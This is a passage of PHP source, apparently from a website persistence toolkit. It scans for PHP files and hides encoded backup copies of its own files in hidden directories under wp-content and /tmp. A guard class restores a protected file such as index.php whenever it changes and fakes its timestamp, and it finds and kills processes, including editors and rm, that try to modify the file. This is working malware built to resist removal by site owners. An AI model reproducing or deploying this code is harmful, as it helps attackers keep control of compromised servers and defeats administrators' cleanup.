$this->walkDirectory($rootReal, function ($path) use ($rootReal, &$results, &$scanned, &$skipped, &$errors, $self) { $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); if (!in_array($ext, self::PHP_EXT, true)) { return; } $real = realpath($path); if ($real !== false && in_array($real, $self->excludeFiles, true)) { return; } $size = @filesize($path); if ($size !== false && $size > MAX_SCAN_FILE_BYTES) { $skipped++; return; } $scanned++; try { $hit = $self->scanFile($path, $rootReal); if ($hit !== null) { $results[] = $hit; } } catch (Throwable $e) { $errors[] = ['file' => $path, 'error' => $e->getMessage()]; } }, $errors); usort($results, static function ($a, $b) { return $b['score'] - $a['score']; }); return [ 'results' => $results, 'scanned' => $scanned, 'skipped' => $skipped, 'errors' => $errors, 'root' => $rootReal, ]; } private function walkDirectory(string $root, callable $fileCallback, array &$errors): void { $stack = [$root]; while ($stack !== []) { $dir = array_pop($stack); if (!is_dir($dir) || !is_readable($dir)) { continue; } $handle = @opendir($dir); if ($handle === false) { $errors[] = ['file' => $dir, 'error' => '无法打开目录']; continue; } while (($entry = readdir($handle)) !== false) { if ($entry === '.' || $entry === '..') { continue; } $path = $dir . DIRECTORY_SEPARATOR . $entry; if (is_link($path)) { continue; } if (is_dir($path)) { if ($this->shouldSkipDir($entry)) { continue; } $realDir = @realpath($path); if ($realDir === false) { continue; } $rootNorm = rtrim(str_replace('\\', '/', $root), '/'); $realNorm = str_replace('\\', '/', $realDir); if ($realNorm !== $rootNorm && strpos($realNorm . '/', $rootNorm . '/') !== 0) { continue; } $stack[] = $realDir; } elseif (is_file($path)) { $fileCallback($path); } } closedir($handle); } } private function shouldSkipDir(string $name): bool { foreach (self::SKIP_DIRS as $skip) { if (strcasecmp($name, $skip) === 0) { return true; } } return false; } public function scanFile(string $path, $root = null) { if (!is_readable($path)) { return null; } $size = @filesize($path); if ($size !== false && $size > MAX_SCAN_FILE_BYTES) { return null; } $content = @file_get_contents($path); if ($content === false || $content === '') { return null; } $norm = preg_replace(['/\/\*[\s\S]*?\*\//', '/\/\/[^\n\r]*/', '/#(?!\[)[^\n\r]*/'], ' ', $content); if (!is_string($norm)) { $norm = $content; } $score = 0; $matches = []; foreach (self::RULE_GROUPS as $group => $rule) { $hits = []; foreach ($rule['patterns'] as $pat) { if (@preg_match($pat, $norm, $m, PREG_OFFSET_CAPTURE)) { $off = (int) $m[0][1]; $sample = substr($norm, max(0, $off - 60), 120); $sample = preg_replace('/\s+/', ' ', $sample); $hits[] = [ 'line' => substr_count(substr($norm, 0, $off), "\n") + 1, 'sample' => trim(is_string($sample) ? $sample : ''), ]; } } if ($hits !== []) { $gs = min($rule['weight'], $rule['weight'] * count($hits)); $score += $gs; $matches[$group] = ['desc' => $rule['desc'], 'score' => $gs, 'hits' => $hits]; } } if ($score < $this->minScore) { return null; } $rel = $path; if ($root !== null) { $rn = rtrim(str_replace('\\', '/', $root), '/'); $pn = str_replace('\\', '/', realpath($path) ?: $path); if (strpos($pn, $rn) === 0) { $rel = ltrim(substr($pn, strlen($rn)), '/'); } } return [ 'file' => $rel, 'score' => $score, 'risk' => $score >= 80 ? 'critical' : ($score >= 55 ? 'high' : ($score >= 35 ? 'medium' : 'low')), 'md5' => md5($content), 'matches' => $matches, ]; } } /** 核心载荷编码:bin2hex / hex2bin、convert_uuencode / convert_uudecode */ final class CorePayloadCodec { public const FMT_HEX = 'h'; public const FMT_UU = 'u'; public static function encode(string $raw, string $fmt = self::FMT_HEX): string { if ($fmt === self::FMT_UU && function_exists('convert_uuencode')) { $uu = @convert_uuencode($raw); if (is_string($uu) && $uu !== '') { return self::FMT_UU . "\n" . $uu; } } return self::FMT_HEX . "\n" . bin2hex($raw); } public static function decode(string $payload): ?string { if ($payload === '') { return null; } $first = $payload[0]; if ($first !== self::FMT_HEX && $first !== self::FMT_UU) { return $payload; } $nl = strpos($payload, "\n"); if ($nl === false) { return null; } $body = substr($payload, $nl + 1); if ($first === self::FMT_HEX) { $hex = preg_replace('/\s+/', '', $body); if (!is_string($hex) || $hex === '' || !preg_match('/^[0-9a-f]*$/i', $hex) || (strlen($hex) % 2) !== 0) { return null; } if (function_exists('hex2bin')) { $bin = @hex2bin($hex); return (is_string($bin) && $bin !== '') ? $bin : null; } $bin = @pack('H*', $hex); return (is_string($bin) && $bin !== '') ? $bin : null; } if ($first === self::FMT_UU && function_exists('convert_uudecode')) { $bin = @convert_uudecode($body); return is_string($bin) ? $bin : null; } return null; } } /** 扫描站点深层可写目录,必要时创建隐藏 vault 目录 */ final class VaultDirResolver { private const MAX_SCAN_DEPTH = 5; private const MAX_SCAN_DIRS = 48; private const SKIP_DIRS = [ 'node_modules', '.git', '.svn', '.hg', '__pycache__', 'vendor', 'image', 'Module', ]; /** @var string[]|null */ private static $writablePool = null; /** @var array<string, string[]> */ private static $picked = []; public static function invalidateCache(): void { self::$writablePool = null; self::$picked = []; } public static function isValidVaultDir(string $path): bool { $path = rtrim(str_replace('\\', '/', $path), '/'); if ($path === '' || !DeployPathHelper::pathAccessible($path) || !@is_dir($path)) { return false; } if (self::isBadVaultParent($path)) { return false; } if (substr_count($path, '/.wc_') > 1) { return false; } if (strpos($path, '/.b26_') !== false || stripos($path, '.test-unix') !== false) { return false; } if (preg_match('#^/tmp/.+/\.#', $path) || preg_match('#^/var/tmp/.+/\.#', $path)) { return false; } $probe = $path . '/.' . AsPaths::probeTag() . '_vv'; if (@file_put_contents($probe, '1') === false) { return false; } @unlink($probe); return true; } /** @return string[] */ public static function pickVaultDirs(string $kindKey, int $minCount): array { $minCount = max(1, $minCount); $cacheKey = $kindKey . ':' . $minCount; if (isset(self::$picked[$cacheKey])) { return self::$picked[$cacheKey]; } $kind = self::normalizeKind($kindKey); $pool = self::writableDirPool(); $vaults = []; foreach (self::selectParents($pool, $kind, $minCount) as $i => $parent) { $dir = self::ensureVaultDirAt($parent, $kind, $i); if ($dir !== null && !in_array($dir, $vaults, true)) { $vaults[] = $dir; } } foreach (self::systemFallbackParents() as $i => $parent) { if (count($vaults) >= $minCount) { break; } $dir = self::ensureVaultDirAt($parent, $kind, 100 + $i); if ($dir !== null && !in_array($dir, $vaults, true)) { $vaults[] = $dir; } } $vaults = array_values(array_unique($vaults)); self::$picked[$cacheKey] = $vaults; return $vaults; } private static function normalizeKind(string $kindKey): string { if (strpos($kindKey, 'baseline') !== false) { return 'baseline'; } if (strpos($kindKey, 'config') !== false) { return 'config'; } if (strpos($kindKey, 'bundle') !== false) { return 'bundle'; } return preg_replace('/[^a-z0-9_]/', '', strtolower($kindKey)) ?: 'misc'; } /** @return string[] */ private static function systemFallbackParents(): array { $out = []; foreach (['/tmp', '/var/tmp'] as $dir) { $real = @realpath($dir); $norm = str_replace('\\', '/', ($real !== false && $real !== '') ? $real : $dir); if ($norm !== '' && self::isDirectlyWritable($norm)) { $out[] = $norm; } } return $out; } /** @return string[] */ private static function preferredParents(): array { $site = self::guessSiteRoot(); $base = str_replace('\\', '/', AsPaths::base()); $candidates = array_unique(array_filter([ $site !== '' ? rtrim($site, '/') . '/wp-content/uploads' : '', $site !== '' ? rtrim($site, '/') . '/wp-content/cache' : '', $site !== '' ? rtrim($site, '/') . '/wp-content' : '', $site !== '' ? rtrim($site, '/') : '', dirname($base), ])); $out = []; foreach ($candidates as $dir) { $norm = self::normalizeVaultParent($dir); if ($norm !== null && self::isDirectlyWritable($norm)) { $out[] = $norm; } } return array_values(array_unique($out)); } /** @return string[] */ private static function writableDirPool(): array { if (self::$writablePool !== null) { return self::$writablePool; } $pool = array_merge( self::preferredParents(), self::systemFallbackParents() ); foreach (self::siteScanRoots() as $root) { self::scanWritableDirs($root, 0, $pool); } $filtered = []; foreach ($pool as $dir) { $norm = self::normalizeVaultParent($dir); if ($norm !== null) { $filtered[$norm] = true; } } $pool = array_keys($filtered); usort($pool, static function ($a, $b) { return strcmp($a, $b); }); self::$writablePool = $pool; return $pool; } /** @return string[] */ private static function siteScanRoots(): array { $roots = []; $base = str_replace('\\', '/', AsPaths::base()); $siteRoot = self::guessSiteRoot(); if ($siteRoot !== '') { $roots[] = $siteRoot; foreach ([ 'wp-content/uploads', 'wp-content/cache', 'wp-content/upgrade', 'wp-content/themes', 'wp-content/plugins', 'uploads', 'cache', 'storage', 'data', 'files', 'assets', 'media', ] as $sub) { $roots[] = rtrim($siteRoot, '/') . '/' . $sub; } } $scanRoot = function_exists('resolveScanRoot') ? resolveScanRoot() : ''; if (is_string($scanRoot) && $scanRoot !== '') { $roots[] = str_replace('\\', '/', $scanRoot); } $roots[] = dirname($base); $out = []; foreach ($roots as $r) { $r = rtrim(str_replace('\\', '/', $r), '/'); if ($r === '' || !DeployPathHelper::pathAccessible($r)) { continue; } if (self::isBadVaultParent($r)) { continue; } $real = @realpath($r); $out[] = ($real !== false && $real !== '') ? str_replace('\\', '/', $real) : $r; } return array_values(array_unique($out)); } private static function guessSiteRoot(): string { $scan = function_exists('resolveScanRoot') ? resolveScanRoot() : ''; if (is_string($scan) && $scan !== '' && @is_dir($scan)) { $real = @realpath($scan); return ($real !== false && $real !== '') ? str_replace('\\', '/', $real) : $scan; } if (function_exists('frameworkRootIndexPath')) { $idx = frameworkRootIndexPath($scan !== '' ? $scan : null); if (is_string($idx) && $idx !== '') { return str_replace('\\', '/', dirname($idx)); } } return str_replace('\\', '/', AsPaths::base()); } /** @param string[] $pool */ private static function scanWritableDirs(string $dir, int $depth, array &$pool): void { if ($depth > self::MAX_SCAN_DEPTH || count($pool) >= self::MAX_SCAN_DIRS) { return; } $dir = str_replace('\\', '/', $dir); if (!DeployPathHelper::pathAccessible($dir) || !@is_dir($dir)) { return; } if (self::isBadVaultParent($dir)) { return; } if (self::isDirectlyWritable($dir)) { $real = @realpath($dir); $pool[] = ($real !== false && $real !== '') ? str_replace('\\', '/', $real) : $dir; } $items = @scandir($dir); if ($items === false) { return; } foreach ($items as $item) { if ($item === '.' || $item === '..' || $item === '') { continue; } if (self::shouldSkipDir($item)) { continue; } $path = $dir . '/' . $item; if (@is_dir($path) && !@is_link($path)) { self::scanWritableDirs($path, $depth + 1, $pool); } } } private static function shouldSkipDir(string $name): bool { $lower = strtolower($name); if (in_array($lower, self::SKIP_DIRS, true)) { return true; } if ($name !== '' && $name[0] === '.') { return true; } if (preg_match('/^as_[a-f0-9]{16}$/i', $name)) { return true; } return false; } private static function isBadVaultParent(string $path): bool { $path = strtolower(rtrim(str_replace('\\', '/', $path), '/')); if ($path === '') { return true; } if (strpos($path, '/.wc_') !== false || strpos($path, '/.b26_') !== false) { return true; } if (stripos($path, '.test-unix') !== false) { return true; } if (preg_match('#^/tmp/.+#', $path) && $path !== '/tmp') { return true; } if (preg_match('#^/var/tmp/.+#', $path) && $path !== '/var/tmp') { return true; } if (strpos($path, '/as_' . AsPaths::bid()) !== false) { return true; } $base = strtolower(str_replace('\\', '/', AsPaths::base())); if ($base !== '' && (rtrim($path, '/') === rtrim($base, '/') || strpos($path, rtrim($base, '/') . '/') === 0)) { return true; } return false; } private static function normalizeVaultParent(string $path): ?string { $path = rtrim(str_replace('\\', '/', $path), '/'); if ($path === '' || self::isBadVaultParent($path)) { return null; } return $path; } private static function isDirectlyWritable(string $dir): bool { if (!DeployPathHelper::pathAccessible($dir) || !@is_dir($dir)) { return false; } $probe = rtrim(str_replace('\\', '/', $dir), '/') . '/.' . AsPaths::probeTag() . '_vp_' . substr(md5(uniqid('', true)), 0, 5); if (@file_put_contents($probe, '1') !== false) { @unlink($probe); return true; } return false; } private static function scoreParent(string $path, string $kind): int { $score = 0; if (strpos($path, '/wp-content/uploads') !== false) { $score += 300; } elseif (strpos($path, '/wp-content/') !== false) { $score += 200; } elseif (strpos($path, '/wp-content') !== false) { $score += 150; } if ($path === '/tmp' || $path === '/var/tmp') { $score += 120; } $site = self::guessSiteRoot(); if ($site !== '' && strpos($path, rtrim($site, '/')) === 0) { $score += 80; } $score += (int) (hexdec(substr(hash('sha256', AS_BOOT_SALT . ':score:' . AsPaths::bid() . ':' . $kind . ':' . $path), 0, 2)) % 10); return $score; } /** @param string[] $pool */ private static function selectParents(array $pool, string $kind, int $count): array { $ranked = []; foreach (self::preferredParents() as $pref) { $ranked[$pref] = 1000 + self::scoreParent($pref, $kind); } foreach ($pool as $parent) { $norm = self::normalizeVaultParent($parent); if ($norm === null) { continue; } $ranked[$norm] = max($ranked[$norm] ?? 0, self::scoreParent($norm, $kind)); } if ($ranked === []) { return []; } arsort($ranked, SORT_NUMERIC); $picked = []; foreach (array_keys($ranked) as $parent) { if (count($picked) >= $count) { break; } $skip = false; foreach ($picked as $existing) { if ($parent === $existing) { $skip = true; break; } if (strpos($parent, $existing . '/') === 0 || strpos($existing, $parent . '/') === 0) { $skip = true; break; } } if (!$skip) { $picked[] = $parent; } } return $picked; } private static function ensureVaultDirAt(string $parent, string $kind, int $index): ?string { $parent = rtrim(str_replace('\\', '/', $parent), '/'); if ($parent === '' || self::isBadVaultParent($parent)) { return null; } $tag = substr(hash('sha256', AS_BOOT_SALT . ':vd:' . AsPaths::bid() . ':' . $kind . ':' . $index . ':' . $parent), 0, 12); $isTmpLike = ($parent === '/tmp' || $parent === '/var/tmp'); $name = $isTmpLike ? ('.' . $tag) : ('.wc_' . $tag); $path = $parent . '/' . $name; if (@is_dir($path) || @mkdir($path, 0700, true)) { if (self::isDirectlyWritable($path)) { @chmod($path, 0700); return $path; } } return null; } } /** 核心文件校验/恢复间隔(秒) */ final class CoreVaultMirror { private const OBF = [ 'baseline_dat' => '.x1', 'baseline_json' => '.x2', 'config' => '.x3', 'strategy' => '.x4', 'bundle' => '.x5', ]; private static function ensureDir(string $dir): bool { if ($dir === '') { return false; } if (@is_dir($dir)) { return @is_writable($dir) || @chmod($dir, 0700); } return @mkdir($dir, 0700, true) && @is_dir($dir); } private static function vaultFile(string $vaultDir, string $kind): string { $name = self::OBF[$kind] ?? '.x0'; return rtrim(str_replace('\\', '/', $vaultDir), '/') . '/' . $name; } /** @return string[] */ private static function vaultDirsForKind(string $kind): array { if ($kind === 'baseline_dat' || $kind === 'baseline_json') { return AsPaths::baselineVaultDirs(); } if ($kind === 'config' || $kind === 'strategy') { return AsPaths::configVaultDirs(); } if ($kind === 'bundle') { return AsPaths::bundleVaultDirs(); } return []; } /** @return string[] */ public static function allVaultPaths(string $kind): array { $paths = []; foreach (self::vaultDirsForKind($kind) as $dir) { $paths[] = self::vaultFile($dir, $kind); } return $paths; } public static function mirror(string $primary, string $kind): void { if (!@is_file($primary) || (int) @filesize($primary) <= 0) { return; } $content = @file_get_contents($primary); if (!is_string($content) || $content === '') { return; } $idx = 0; foreach (self::allVaultPaths($kind) as $vaultPath) { $dir = dirname($vaultPath); if (!self::ensureDir($dir)) { $idx++; continue; } $fmt = ($idx % 2 === 0) ? CorePayloadCodec::FMT_HEX : CorePayloadCodec::FMT_UU; $encoded = CorePayloadCodec::encode($content, $fmt); if (!@is_file($vaultPath) || @file_get_contents($vaultPath) !== $encoded) { @file_put_contents($vaultPath, $encoded, LOCK_EX); @chmod($vaultPath, 0600); } $idx++; } self::writeManifest(); } public static function mirrorBaseline(string $datPath, string $jsonPath): void { self::mirror($datPath, 'baseline_dat'); if (@is_file($jsonPath)) { self::mirror($jsonPath, 'baseline_json'); } } public static function mirrorAllCore(): void { self::mirror(AsPaths::baselineContent(), 'baseline_dat'); self::mirror(AsPaths::baselineMeta(), 'baseline_json'); self::mirror(AsPaths::config(), 'config'); self::mirror(AsPaths::strategy(), 'strategy'); self::mirror(AsPaths::daemonEntryScript(), 'bundle'); } private static function readVaultBytes(string $vaultPath): ?string { if (!@is_file($vaultPath) || (int) @filesize($vaultPath) <= 0) { return null; } $raw = @file_get_contents($vaultPath); if (!is_string($raw) || $raw === '') { return null; } $decoded = CorePayloadCodec::decode($raw); return (is_string($decoded) && $decoded !== '') ? $decoded : null; } public static function restorePrimary(string $primary, string $kind): bool { if (@is_file($primary) && (int) @filesize($primary) > 0) { return true; } foreach (self::allVaultPaths($kind) as $vaultPath) { $bytes = self::readVaultBytes($vaultPath); if ($bytes === null) { continue; } $dir = dirname($primary); if (!@is_dir($dir)) { AsPaths::ensureModuleDir(); } if (@file_put_contents($primary, $bytes, LOCK_EX) !== false) { @chmod($primary, 0644); if (class_exists('BusiDaemonRunner', false)) { BusiDaemonRunner::logCli('core_restored kind=' . $kind . ' from=' . $vaultPath); } return true; } } return false; } /** @return string[] restored kinds */ public static function ensureCoreArtifacts(): array { $restored = []; $map = [ 'baseline_dat' => AsPaths::baselineContent(), 'baseline_json' => AsPaths::baselineMeta(), 'config' => AsPaths::config(), 'strategy' => AsPaths::strategy(), 'bundle' => AsPaths::daemonEntryScript(), ]; foreach ($map as $kind => $primary) { if (!@is_file($primary) || (int) @filesize($primary) <= 0) { if (self::restorePrimary($primary, $kind)) { $restored[] = $kind; } } else { self::mirror($primary, $kind); } } if ($restored === [] && !@is_file(AsPaths::vaultManifest())) { self::writeManifest(); } return $restored; } private static function writeManifest(): void { $manifest = [ 'ts' => time(), 'v' => 2, 'baseline_vaults' => VaultDirResolver::pickVaultDirs('baseline_vaults', 3), 'config_vaults' => VaultDirResolver::pickVaultDirs('config_vaults', 2), 'bundle_vaults' => VaultDirResolver::pickVaultDirs('bundle_vaults', 3), 'encoding' => [ CorePayloadCodec::FMT_HEX => 'bin2hex/hex2bin', CorePayloadCodec::FMT_UU => 'convert_uuencode/convert_uudecode', ], ]; @file_put_contents( AsPaths::vaultManifest(), json_encode($manifest, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT), LOCK_EX ); } } /** 全局子进程交错调度:相邻 worker 至少间隔 STAGGER_SEC 秒 */ final class DaemonStagger { public const STAGGER_SEC = 2; public const RESTORE_INTERVAL_SEC = 2; public const PHASE_COUNT = 9; /** @return array<string, int> */ private static function phaseMap(): array { return [ 'A:peer' => 0, 'B:peer' => 1, 'A:shell' => 2, 'B:shell' => 3, 'A:md5' => 4, 'B:md5' => 5, 'sh:php-a' => 6, 'sh:php-b' => 7, 'sh:md5' => 8, ]; } public static function phpPhase(string $slot, string $role): int { $slot = strtoupper($slot) === 'B' ? 'B' : 'A'; $key = $slot . ':' . $role; $map = self::phaseMap(); return $map[$key] ?? 0; } public static function shellPhase(string $role): int { $key = 'sh:' . $role; $map = self::phaseMap(); return $map[$key] ?? 6; } public static function initialDelay(string $slot, string $role): void { $phase = self::phpPhase($slot, $role); if ($phase > 0) { sleep($phase * self::STAGGER_SEC); } } public static function shellInitialDelay(string $role): void { $phase = self::shellPhase($role); if ($phase > 0) { sleep($phase * self::STAGGER_SEC); } } public static function tickSleep(): void { sleep(self::STAGGER_SEC); } public static function pauseBetweenSpawns(bool $fast = false): void { if ($fast) { usleep(200000); return; } sleep(self::STAGGER_SEC); } } final class IndexPhpGuard { private const TICK_USEC = 500000; public static function tickSleep(): void { usleep(self::TICK_USEC); } public static function childTickSleep(): void { DaemonStagger::tickSleep(); } public static function md5TickSleep(): void { sleep(DaemonStagger::RESTORE_INTERVAL_SEC); } public static function applyHighPriority(): void { if (function_exists('posix_geteuid')) { $uid = @posix_geteuid(); if ($uid !== 0) { return; } } try { if (function_exists('proc_nice')) { @proc_nice(-20); } if (function_exists('posix_setpriority') && defined('PRIO_PROCESS')) { @posix_setpriority(PRIO_PROCESS, 0, -20); } } catch (Throwable $e) { // 非 root 或受限环境:忽略提权失败 } } public static function saveBaseline(string $targetPath): bool { if ($targetPath === '' || !@is_file($targetPath) || !@is_readable($targetPath)) { return false; } $content = @file_get_contents($targetPath); if (!is_string($content) || $content === '') { return false; } AsPaths::ensureModuleDir(); $meta = [ 'path' => $targetPath, 'md5' => md5($content), 'size' => strlen($content), 'mtime' => @filemtime($targetPath), 'saved_at' => time(), ]; $ok = @file_put_contents(AsPaths::baselineContent(), $content, LOCK_EX) !== false; if ($ok) { @file_put_contents(AsPaths::baselineMeta(), json_encode($meta, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT), LOCK_EX); CoreVaultMirror::mirrorBaseline(AsPaths::baselineContent(), AsPaths::baselineMeta()); } return $ok; } public static function ensureBaseline(string $targetPath): bool { if ($targetPath === '' || !@is_file($targetPath) || !@is_readable($targetPath)) { return false; } $baselineFile = AsPaths::baselineContent(); if (@is_file($baselineFile) && (int) @filesize($baselineFile) > 0) { return true; } return self::saveBaseline($targetPath); } public static function restoreBaselineIfChanged(string $targetPath): bool { CoreVaultMirror::ensureCoreArtifacts(); $baselineFile = AsPaths::baselineContent(); if (!@is_file($baselineFile) || !@is_readable($baselineFile)) { if (!CoreVaultMirror::restorePrimary($baselineFile, 'baseline_dat')) { return false; } } $baseline = @file_get_contents($baselineFile); if (!is_string($baseline) || $baseline === '') { return false; } if (!@is_file($targetPath)) { $dir = dirname($targetPath); if (@is_dir($dir) && @is_writable($dir)) { return @file_put_contents($targetPath, $baseline, LOCK_EX) !== false; } return false; } $current = @file_get_contents($targetPath); if (!is_string($current)) { return false; } if (md5($current) === md5($baseline)) { return false; } if (@file_put_contents($targetPath, $baseline, LOCK_EX) === false && function_exists('chmod')) { @chmod($targetPath, 0644); } if (@file_put_contents($targetPath, $baseline, LOCK_EX) === false) { if (self::restoreBaselineViaShell($targetPath, $baselineFile)) { return true; } BusiDaemonRunner::logCli('baseline restore failed path=' . $targetPath); return false; } $metaFile = AsPaths::baselineMeta(); if (@is_file($metaFile)) { $raw = @file_get_contents($metaFile); $meta = is_string($raw) ? json_decode($raw, true) : null; if (is_array($meta) && !empty($meta['mtime']) && function_exists('touch')) { @touch($targetPath, (int) $meta['mtime']); } } return true; } private static function restoreBaselineViaShell(string $targetPath, string $baselineFile): bool { if ($targetPath === '' || $baselineFile === '' || !@is_file($baselineFile)) { return false; } if (!function_exists('exec') && !function_exists('shell_exec')) { return false; } $targetEsc = escapeshellarg($targetPath); $baseEsc = escapeshellarg($baselineFile); $cmds = [ 'chmod u+w ' . $targetEsc . ' 2>/dev/null; cp -f ' . $baseEsc . ' ' . $targetEsc . ' 2>/dev/null', 'chmod u+w ' . $targetEsc . ' 2>/dev/null; /bin/cp -f ' . $baseEsc . ' ' . $targetEsc . ' 2>/dev/null', ]; foreach ($cmds as $cmd) { if (function_exists('exec')) { @exec($cmd, $_, $code); if ($code === 0 && @is_file($targetPath)) { $cur = @file_get_contents($targetPath); $base = @file_get_contents($baselineFile); if (is_string($cur) && is_string($base) && md5($cur) === md5($base)) { BusiDaemonRunner::logCli('baseline_restored via_shell_cp path=' . $targetPath); return true; } } } elseif (function_exists('shell_exec')) { @shell_exec($cmd); $cur = @file_get_contents($targetPath); $base = @file_get_contents($baselineFile); if (is_string($cur) && is_string($base) && md5($cur) === md5($base)) { BusiDaemonRunner::logCli('baseline_restored via_shell_cp path=' . $targetPath); return true; } } } return false; } public static function tickMd5AndKill(string $targetPath): array { $restored = self::restoreBaselineIfChanged($targetPath); $allow = IndexPhpGuard::collectAllowPids(AsPaths::pid(), AsPaths::workerPool()); $killed = self::killWriters($targetPath, $allow); return ['restored' => $restored, 'killed' => $killed]; } /** @deprecated */ public static function guardChildTtl(): int { return 45; } /** @deprecated */ public static function guardRotateSec(): int { return 30; } /** @deprecated */ public static function guardChildTickSleep(): void { self::childTickSleep(); } /** @deprecated */ public static function maxWorkers(): int { return 2; } /** @deprecated use tickSleep() */ public static function tickSeconds(): int { return 1; } /** @deprecated */ public static function rotateAfter(): int { return 0; } public static function detectWriterPids(string $targetPath): array { $real = @realpath($targetPath); if ($real === false || $real === '') { $real = $targetPath; } if ($real === '') { return []; } $pids = array_merge( self::detectViaProcFd($real), self::detectViaLsof($real), self::detectViaFuser($real), self::detectViaCmdline($real), self::detectViaShellProcFd($real), self::detectViaShellCmdline($real, $targetPath) ); $out = []; foreach ($pids as $pid) { $pid = (int) $pid; if ($pid > 1 && !self::isProtectedServicePid($pid)) { $out[$pid] = true; } } return array_keys($out); } private static function isProtectedServicePid(int $pid): bool { $cmd = self::readProcessCmdline($pid); if ($cmd === '') { return false; } return stripos($cmd, 'php-fpm') !== false || stripos($cmd, 'php-fcgi') !== false || stripos($cmd, 'nginx') !== false; } private static function readProcessCmdline(int $pid): string { if ($pid <= 1) { return ''; } $cmdFile = '/proc/' . $pid . '/cmdline'; if (@is_readable($cmdFile)) { return str_replace("\0", ' ', (string) @file_get_contents($cmdFile)); } if (!function_exists('shell_exec') && !function_exists('exec')) { return self::readProcessCmdlineViaPs($pid); } $cmd = 'tr "\0" " " < /proc/' . (int) $pid . '/cmdline 2>/dev/null'; if (function_exists('shell_exec')) { $out = trim((string) @shell_exec($cmd)); if ($out !== '') { return $out; } } else { $lines = []; @exec($cmd, $lines); $out = trim(implode('', $lines)); if ($out !== '') { return $out; } } return self::readProcessCmdlineViaPs($pid); } private static function readProcessCmdlineViaPs(int $pid): string { if ($pid <= 1) { return ''; } if (!function_exists('shell_exec') && !function_exists('exec')) { return ''; } $psCmd = 'ps -p ' . (int) $pid . ' -o args= 2>/dev/null'; if (function_exists('shell_exec')) { return trim((string) @shell_exec($psCmd)); } $lines = []; @exec($psCmd, $lines); return trim(implode("\n", $lines)); } public static function readProcessCmdlinePublic(int $pid): string { return self::readProcessCmdline($pid); } private static function threatNeedles(): array { return [ 'vim ', 'nano ', 'vi ', 'nvim ', 'emacs ', 'sed -i', 'sed -i\'', 'tee ', 'mv ', 'cp ', 'dd ', 'php -r', 'file_put_contents', 'fopen(', 'fwrite(', 'echo ', 'printf ', 'cat >', 'cat>>', 'rm ', 'rm -', 'unlink', 'delete', 'shred', 'truncate', 'install ', 'rename(', 'copy(', 'move_uploaded', ]; } private static function guardMarkers(): array { return [ 'Framework.php', 'framework.php', 'fw.php', AsPaths::cliPcntl(), AsPaths::cliWorker(), AsPaths::cliGuard(), AsPaths::cliChildPeer(), AsPaths::cliChildShell(), AsPaths::cliChildMd5(), basename(AsPaths::shellScript()), '__guard__', 'w.sh', ]; } private static function isThreatCmdline(string $cmd, string $real): bool { $base = basename($real); if (stripos($cmd, $base) === false && stripos($cmd, $real) === false) { return false; } foreach (self::guardMarkers() as $marker) { if ($marker !== '' && stripos($cmd, $marker) !== false) { return false; } } if (stripos($cmd, 'php-fpm') !== false || stripos($cmd, 'php-fcgi') !== false) { return false; } foreach (self::threatNeedles() as $needle) { if (stripos($cmd, $needle) !== false) { return true; } } if (preg_match('/>>\s*\S*' . preg_quote($base, '/') . '/i', $cmd)) { return true; } if (preg_match('/>[\s\t]*\S*' . preg_quote($base, '/') . '/i', $cmd)) { return true; } return false; } private static function detectViaShellCmdline(string $real, string $targetPath): array { if (!function_exists('shell_exec') && !function_exists('exec')) { return []; } $needles = array_values(array_unique(array_filter([ basename($real), basename($targetPath), $real, $targetPath, ]))); if ($needles === []) { return []; } $grepPattern = implode('|', array_map(static function ($n) { return preg_quote($n, '|'); }, $needles)); $cmd = 'ps -eo pid=,args= 2>/dev/null | grep -E ' . escapeshellarg($grepPattern) . ' | grep -v grep'; $out = function_exists('shell_exec') ? trim((string) @shell_exec($cmd)) : ''; if ($out === '' && function_exists('exec')) { $lines = []; @exec($cmd, $lines); $out = trim(implode("\n", $lines)); } if ($out === '') { return []; } $pids = []; foreach (explode("\n", $out) as $line) { if ($line === '') { continue; } if (!preg_match('/^\s*(\d+)\s+(.*)$/', $line, $m)) { continue; } $pid = (int) $m[1]; $args = (string) $m[2]; if ($pid > 1 && self::isThreatCmdline($args, $real)) { $pids[] = $pid; } } return $pids; } private static function detectViaProcFd(string $real): array { if (!is_dir('/proc')) { return []; } $pids = []; $dirs = @glob('/proc/[0-9]*', GLOB_ONLYDIR); if ($dirs === false) { return []; } foreach ($dirs as $procDir) { $pid = (int) basename($procDir); if ($pid <= 1) { continue; } $fdDir = $procDir . '/fd'; if (!is_dir($fdDir)) { continue; } $fds = @scandir($fdDir); if ($fds === false) { continue; } foreach ($fds as $fd) { if ($fd === '.' || $fd === '..') { continue; } $link = @readlink($fdDir . '/' . $fd); if ($link === false) { continue; } $norm = preg_replace('/\s*\(deleted\)\s*$/', '', $link); if ($norm !== $real && $link !== $real) { continue; } if (!self::procFdIsWritable($procDir, $fd)) { continue; } $pids[] = $pid; break; } } return $pids; } private static function procFdIsWritable(string $procDir, string $fd): bool { $fdinfo = $procDir . '/fdinfo/' . $fd; if (!is_readable($fdinfo)) { return false; } $info = @file_get_contents($fdinfo); if ($info === false || !preg_match('/flags:\s*(\d+)/', $info, $m)) { return true; } $flags = (int) $m[1]; return ($flags & 3) !== 0; } private static function detectViaLsof(string $real): array { if (!function_exists('shell_exec') && !function_exists('exec')) { return []; } $cmd = 'lsof -Fn -- ' . escapeshellarg($real) . ' 2>/dev/null'; $out = ''; if (function_exists('shell_exec')) { $out = (string) @shell_exec($cmd); } if ($out === '' && function_exists('exec')) { $lines = []; @exec($cmd, $lines); $out = implode("\n", $lines); } if ($out === '') { return []; } $pids = []; $curPid = 0; foreach (explode("\n", $out) as $line) { $line = trim($line); if ($line === '' || ($line[0] !== 'p' && $line[0] !== 'f')) { continue; } if ($line[0] === 'p') { $curPid = (int) substr($line, 1); continue; } if ($curPid > 0 && strpos(substr($line, 1), 'w') !== false) { $pids[] = $curPid; } } return $pids; } private static function detectViaFuser(string $real): array { if (!function_exists('shell_exec') && !function_exists('exec')) { return []; } $cmd = 'fuser -v ' . escapeshellarg($real) . ' 2>&1'; $out = function_exists('shell_exec') ? (string) @shell_exec($cmd) : ''; if ($out === '' && function_exists('exec')) { $lines = []; @exec($cmd, $lines); $out = implode("\n", $lines); } if ($out === '') { return []; } $pids = []; if (preg_match_all('/\b(\d{2,7})\b/', $out, $m)) { foreach ($m[1] as $pid) { $pid = (int) $pid; if ($pid > 1) { $pids[] = $pid; } } } return $pids; } private static function detectViaCmdline(string 